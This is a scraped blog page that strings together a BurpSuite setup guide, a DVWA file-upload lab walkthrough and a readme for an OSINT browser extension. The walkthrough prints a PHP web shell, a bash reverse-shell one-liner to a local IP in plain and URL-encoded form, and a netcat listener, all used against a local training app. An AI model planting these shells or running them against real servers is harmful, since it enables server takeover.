Tražite stan? Na pravom ste mestu!

What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.

Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.

Video for setup and installation.

You need to install compatible version of java , So that you can run BurpSuite.

Continue reading

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php phpinfo(); ?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php system($_GET["cmd"]); ?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Related news

Hackerhubb.blogspot.com

More info

Gotanda is OSINT(Open Source Intelligence) Web Extension for Firefox/Chrome.

This Web Extension could search OSINT information from some IOC in web page.(IP,Domain,URL,SNS...etc)

This Repository partly the studying and JavaScript practice.

Download link below.

Usage

Right click highlighted IOC strings, It will show contextmenus.(Or right clicking any link. )

When You want to search using some engine, You choose one of list.

Search Engine List

Name	URL	Category
Domain Tools	https://whois.domaintools.com/	whois Lookup
Security Trails	https://securitytrails.com/	whois lookup
whoisds	https://whoisds.com/	whois lookup
ThreatCrowd	https://www.threatcrowd.org/	Domain, IPv4
AbuseIPDB	https://www.abuseipdb.com/	IPv4
HackerTarget	https://hackertarget.com/	IPv4
Censys	https://censys.io/	IP, Domain
Shodan	https://shodan.io/	IP, Domain
FOFA	https://fofa.so/	IP, Domain
VirusTotal	https://virustotal.com/	IP, Domain, URL,Hash
GreyNoise	https://viz.greynoise.io/	IPv4
IPAlyzer	https://ipalyzer.com/	IPv4
Tor Relay Search	https://metrics.torproject.org/	IP,Domain
Domain Watch	https://domainwat.ch/	Domain, Email,whois lookup
crt.sh	https://crt.sh/	SSL-certificate
SecurityHeaders	https://securityheaders.com/	URL, Domain
DNSlytics	https://dnslytics.com/	IPv4,IPv6,ASN
URLscan	https://urlscan.io/	URL
Ultratools	https://www.ultratools.com/	IPv6
Wayback Machine	https://web.archive.org	URL
aguse	https://www.aguse.jp/	URL
check-host	https://check-host.net/	URL
CIRCL	https://cve.circl.lu/	CVE
FortiGuard	https://fortiguard.com/	CVE
Sploitus	https://sploitus.com/	CVE
Vulmon	https://vulmon.com/	CVE
CXSecurity	https://cxsecurity.com/	CVE
Vulncode-DB	https://www.vulncode-db.com/	CVE
Malshare	https://malshare.com/	MD5 Hash
ThreatCrowd	https://www.threatcrowd.org/	IP,Domain
Hybrid Analysis	https://www.hybrid-analysis.com/	hash
Twitter	https://twitter.com/	SNS, w/TimeLine
Qiita	https://qiita.com	SNS
GitHub	https://github.com	SNS
Facebook	https://www.facebook.com/	SNS, w/TimeLine
Instagram	https://www.instagram.com/	SNS
LinkedIn	https://linkedin.com/	SNS
Pinterest	https://www.pinterest.jp	SNS
reddit	https://www.reddit.com/	SNS

About Twitter and FaceBook could search timeline with any words.

Misc

This extension is optimized for the Japanese environment.

Download Gotanda

Tražite stan? Na pravom ste mestu!

Arhiva članaka

уторак, 30. мај 2023.

BurpSuite Introduction & Installation

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

References:

Related news

понедељак, 29. мај 2023.

Hackerhubb.blogspot.com

More info

Gotanda - Browser Web Extension For OSINT

Related articles